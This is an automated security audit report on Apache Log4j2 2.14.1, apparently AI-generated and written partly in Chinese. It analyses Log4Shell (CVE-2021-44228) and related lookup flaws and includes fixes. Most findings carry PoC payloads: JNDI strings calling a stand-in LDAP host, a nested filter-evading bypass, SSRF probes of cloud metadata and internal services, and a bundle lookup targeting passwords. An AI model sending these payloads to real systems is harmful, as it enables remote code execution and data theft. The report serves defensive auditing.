DeepAudit 安全审计报告


报告信息

属性 内容
项目名称 log4j2
任务 ID 66f92b24...
生成时间 2026-07-07 11:46:26
任务状态 COMPLETED
耗时 13.6 分钟

执行摘要

安全评分: 0/100 [未通过] 严重 - 需要立即进行修复

漏洞发现概览

严重程度 数量 已验证
严重 (CRITICAL) 4 4
高危 (HIGH) 3 0
中危 (MEDIUM) 6 3
总计 13 7

审计指标

严重 (Critical) 漏洞

CRITICAL-1: Log4Shell - Recursive Variable Substitution in StrSubstitutor

[已验证] [含 PoC] | 类型: command_injection

AI 置信度: 100%

漏洞描述:

StrSubstitutor.substitute() recursively resolves variables after substitution (line 1042), enabling nested bypasses. Attackers can use expressions like ${${lower:j}ndi:ldap://attacker.com/evil} to bypass simple pattern filters. The cyclic substitution check only prevents exact same variable name, not different expressions that resolve to the same value.

漏洞代码:

if (varValue != null) {
    final int varLen = varValue.length();
    buf.replace(startPos, endPos, varValue);
    altered = true;
    int change = substitute(event, buf, startPos, varLen, priorVariables);
    ...
}

修复建议:

Upgrade to Log4j 2.17.0+. Implement defense-in-depth with multiple filter layers.

概念验证 (PoC):

Nested bypass using recursive substitution to evade filters

复现步骤:

  1. Use ${${lower:j}ndi:ldap://attacker.com:1389/evil} instead of direct ${jndi:...}
  2. Inner ${lower:j} resolves to 'j', making the expression ${jndi:ldap://...}
  3. The resolved JNDI lookup is then performed
  4. This bypasses WAF rules looking for 'jndi' string

PoC 代码:

${${lower:j}ndi:ldap://attacker.com:1389/evil}

CRITICAL-2: Log4Shell - Automatic JNDI Lookup Registration in Interpolator

[已验证] [含 PoC] | 类型: command_injection

AI 置信度: 100%

漏洞描述:

The Interpolator constructor automatically loads JndiLookup via reflection and registers it in the strLookupMap with the key 'jndi'. This happens by default with no configuration required. The try-catch block only handles cases where the JndiLookup class is not found on the classpath, but does not provide any security controls or opt-in mechanism.

漏洞代码:

try {
    strLookupMap.put(LOOKUP_KEY_JNDI,
        Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
} catch (final LinkageError | Exception e) {
    handleError(LOOKUP_KEY_JNDI, e);
}

修复建议:

Upgrade to Log4j 2.17.0+. Remove JndiLookup.class from classpath.

概念验证 (PoC):

JNDI lookups are enabled by default - no configuration needed

复现步骤:

  1. Use any Log4j 2.x installation up to 2.14.1
  2. Send ${jndi:ldap://attacker.com:1389/evil} in any logged data
  3. The Interpolator automatically routes 'jndi' prefix to JndiLookup
  4. JNDI lookup is performed without any special configuration

PoC 代码:

${jndi:ldap://attacker.com:1389/evil} (works out of the box)

CRITICAL-3: Log4Shell Remote Code Execution (CVE-2021-44228) - JNDI Lookup Injection

[已验证] [含 PoC] | 类型: command_injection

AI 置信度: 100%

漏洞描述:

Complete remote code execution vulnerability chain in Apache Log4j 2.14.1. The attack chain involves four components working together: (1) JndiLookup.lookup() accepts user-controlled JNDI names without protocol restrictions, allowing ldap://, rmi://, dns:// schemes; (2) MessagePatternConverter.format() scans log messages for ${} patterns and triggers variable substitution by default (noLookups=false); (3) Interpolator automatically registers JndiLookup with the 'jndi' key without requiring configuration; (4) StrSubstitutor recursively resolves variables, enabling nested bypasses like ${${lower:j}ndi:ldap://attacker.com/evil}. An attacker can trigger RCE by sending a crafted string (e.g., in User-Agent header) containing ${jndi:ldap://attacker.com/evil} that gets logged.

漏洞代码:

@Override
public String lookup(final LogEvent event, final String key) {
    if (key == null) { return null; }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
        return Objects.toString(jndiManager.lookup(jndiName), null);
    } catch (final NamingException e) { ... }
}

修复建议:

Upgrade to Log4j 2.17.0+. Set 'log4j2.formatMsgNoLookups=true'. Remove JndiLookup from classpath.

概念验证 (PoC):

Send a log message containing ${jndi:ldap://attacker-controlled-server:1389/evil} to any application using Log4j 2.14.1

复现步骤:

  1. Identify an application using Log4j 2.x that logs user-controlled input
  2. Send payload: ${jndi:ldap://attacker.com:1389/evil} in HTTP headers (User-Agent), form fields, or URL parameters
  3. Log4j processes the message, resolves the JNDI lookup, connects to attacker's LDAP server
  4. Attacker's LDAP server returns a malicious Java class reference
  5. Log4j loads and executes the attacker's Java code, achieving RCE

PoC 代码:

${jndi:ldap://attacker-controlled-server:1389/evil}

CRITICAL-4: Log4Shell - Message Lookup Injection via MessagePatternConverter

[已验证] [含 PoC] | 类型: command_injection

AI 置信度: 100%

漏洞描述:

MessagePatternConverter.format() in log4j-core scans formatted log messages for '${' patterns and triggers StrSubstitutor.replace() when noLookups is false (default). This means any user-controlled data that gets logged (HTTP headers, user input, etc.) can trigger arbitrary lookups including JNDI lookups. The noLookups flag defaults to false unless the system property 'log4j2.formatMsgNoLookups' is explicitly set to true.

漏洞代码:

if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));
        }
    }
}

修复建议:

Upgrade to Log4j 2.17.0+. Set 'log4j2.formatMsgNoLookups=true'. Use '%m{nolookups}' in pattern layout.

概念验证 (PoC):

Any user-controlled data that gets logged with ${...} patterns will trigger lookup resolution

复现步骤:

  1. Send HTTP request with malicious payload in User-Agent header
  2. Application logs the User-Agent string using Log4j
  3. MessagePatternConverter scans the message for ${ patterns
  4. Triggers StrSubstitutor.replace() which resolves the JNDI lookup

PoC 代码:

User-Agent: ${jndi:ldap://attacker.com:1389/evil}

高危 (High) 漏洞

HIGH-1: log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java:141 - StrSubstitut

[未验证] | 类型: other

AI 置信度: 60%

漏洞描述:

log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/StrSubstitutor.java:141 - StrSubstitutor支持递归变量替换,可被利用进行多层嵌套的恶意查找


HIGH-2: log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java:128-132

[未验证] | 类型: other

AI 置信度: 60%

漏洞描述:

log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java:128-132 - 在format()方法中检测${}并调用StrSubstitutor.replace(),允许日志消息中的JNDI查找被执行


HIGH-3: log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java:109-115 - Interpolat

[未验证] | 类型: other

AI 置信度: 60%

漏洞描述:

log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java:109-115 - Interpolator自动加载JndiLookup并注册到查找映射中,无任何安全限制


中危 (Medium) 漏洞

MEDIUM-1: 递归变量替换可能导致拒绝服务

[未验证] | 类型: other

AI 置信度: 50%

漏洞描述:

StrSubstitutor支持递归变量替换(文档第99行说明),攻击者可通过构造嵌套的${${...}}表达式导致递归解析,可能造成CPU资源耗尽。


MEDIUM-2: Interpolator自动注册JNDI Lookup

[未验证] | 类型: other

AI 置信度: 50%

漏洞描述:

Interpolator构造函数中自动尝试加载JndiLookup并注册到strLookupMap中,使得${jndi:...}语法默认可用,无需额外配置。


MEDIUM-3: 消息模式中的无限制变量替换

[未验证] | 类型: other

AI 置信度: 50%

漏洞描述:

MessagePatternConverter.format()方法在noLookups=false时,对日志消息内容中的${}表达式进行变量替换。这意味着攻击者可以通过控制日志消息内容(如User-Agent头)触发JNDI查找。


MEDIUM-4: ResourceBundleLookup - User-Controlled Bundle Name

[已验证] [含 PoC] | 类型: path_traversal

AI 置信度: 90%

漏洞描述:

ResourceBundleLookup.lookup() accepts user-controlled bundle names in the format 'BundleName:Key'. The bundle name is passed directly to ResourceBundle.getBundle() without validation. While ResourceBundle.getBundle() has some built-in restrictions, it could potentially be used for information disclosure by accessing resource bundles from different packages.

漏洞代码:

public String lookup(final LogEvent event, final String key) {
    final String[] keys = key.split(":");
    final String bundleName = keys[0];
    final String bundleKey = keys[1];
    return ResourceBundle.getBundle(bundleName).getString(bundleKey);
}

修复建议:

Upgrade to Log4j 2.17.0+. Validate bundle names. Consider removing ResourceBundleLookup.

概念验证 (PoC):

Attempt to load sensitive resource bundles from the classpath

复现步骤:

  1. Send ${bundle:com.example.secret:password} in logged data
  2. Log4j attempts to load 'com.example.secret' resource bundle
  3. If the bundle exists, the 'password' key value is returned

PoC 代码:

${bundle:com.example.secret:password}

MEDIUM-5: Default-Enabled Lookups in Log Messages

[已验证] [含 PoC] | 类型: hardcoded_secret

AI 置信度: 100%

漏洞描述:

The FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS constant in Constants.java defaults to false, meaning lookups in log messages are enabled by default. This is a dangerous default as it allows any user-controlled data that gets logged to trigger arbitrary lookups. The property 'log4j2.formatMsgNoLookups' must be explicitly set to true to disable this behavior.

漏洞代码:

public static final boolean FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS = PropertiesUtil.getProperties().getBooleanProperty("log4j2.formatMsgNoLookups", false);

修复建议:

Set system property 'log4j2.formatMsgNoLookups=true'. Upgrade to Log4j 2.17.0+.

概念验证 (PoC):

Lookups are enabled by default - no action needed to exploit

复现步骤:

  1. Use default Log4j configuration
  2. Send ${jndi:ldap://attacker.com:1389/evil} in logged data
  3. Lookups are processed because FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS defaults to false

PoC 代码:

Set -Dlog4j2.formatMsgNoLookups=true to disable (not set by default)

MEDIUM-6: JNDI Lookup - No Protocol Restrictions Enabling SSRF

[已验证] [含 PoC] | 类型: ssrf

AI 置信度: 100%

漏洞描述:

The convertJndiName() method in JndiLookup only checks if the name starts with 'java:comp/env/' or contains ':', but does not restrict JNDI protocols. This allows attackers to use ldap://, ldaps://, rmi://, dns://, iiop://, and other protocols. This enables SSRF attacks against internal services and DNS exfiltration.

漏洞代码:

private String convertJndiName(final String jndiName) {
    if (!jndiName.startsWith(CONTAINER_JNDI_RESOURCE_PATH_PREFIX) && jndiName.indexOf(':') == -1) {
        return CONTAINER_JNDI_RESOURCE_PATH_PREFIX + jndiName;
    }
    return jndiName;
}

修复建议:

Upgrade to Log4j 2.17.0+. Implement network segmentation. Block outbound LDAP/RMI/DNS from app servers.

概念验证 (PoC):

SSRF attacks against internal services using various JNDI protocols

复现步骤:

  1. Send ${jndi:ldap://169.254.169.254:80/} to access AWS metadata endpoint
  2. Send ${jndi:dns://internal-dns.company.com/} for DNS exfiltration
  3. Send ${jndi:rmi://localhost:1099/} to probe internal RMI services

PoC 代码:

${jndi:ldap://169.254.169.254:80/} (AWS metadata)
${jndi:dns://internal-dns.company.com/} (DNS exfiltration)
${jndi:rmi://localhost:1099/} (internal probing)

修复优先级建议

基于已发现的漏洞,我们建议按以下优先级进行修复:

  1. 立即修复: 处理 4 个严重漏洞 - 可能造成严重影响
  2. 高优先级: 在 1 周内修复 3 个高危漏洞
  3. 中优先级: 在 2-4 周内修复 6 个中危漏洞

本报告由 DeepAudit - AI 驱动的安全分析系统生成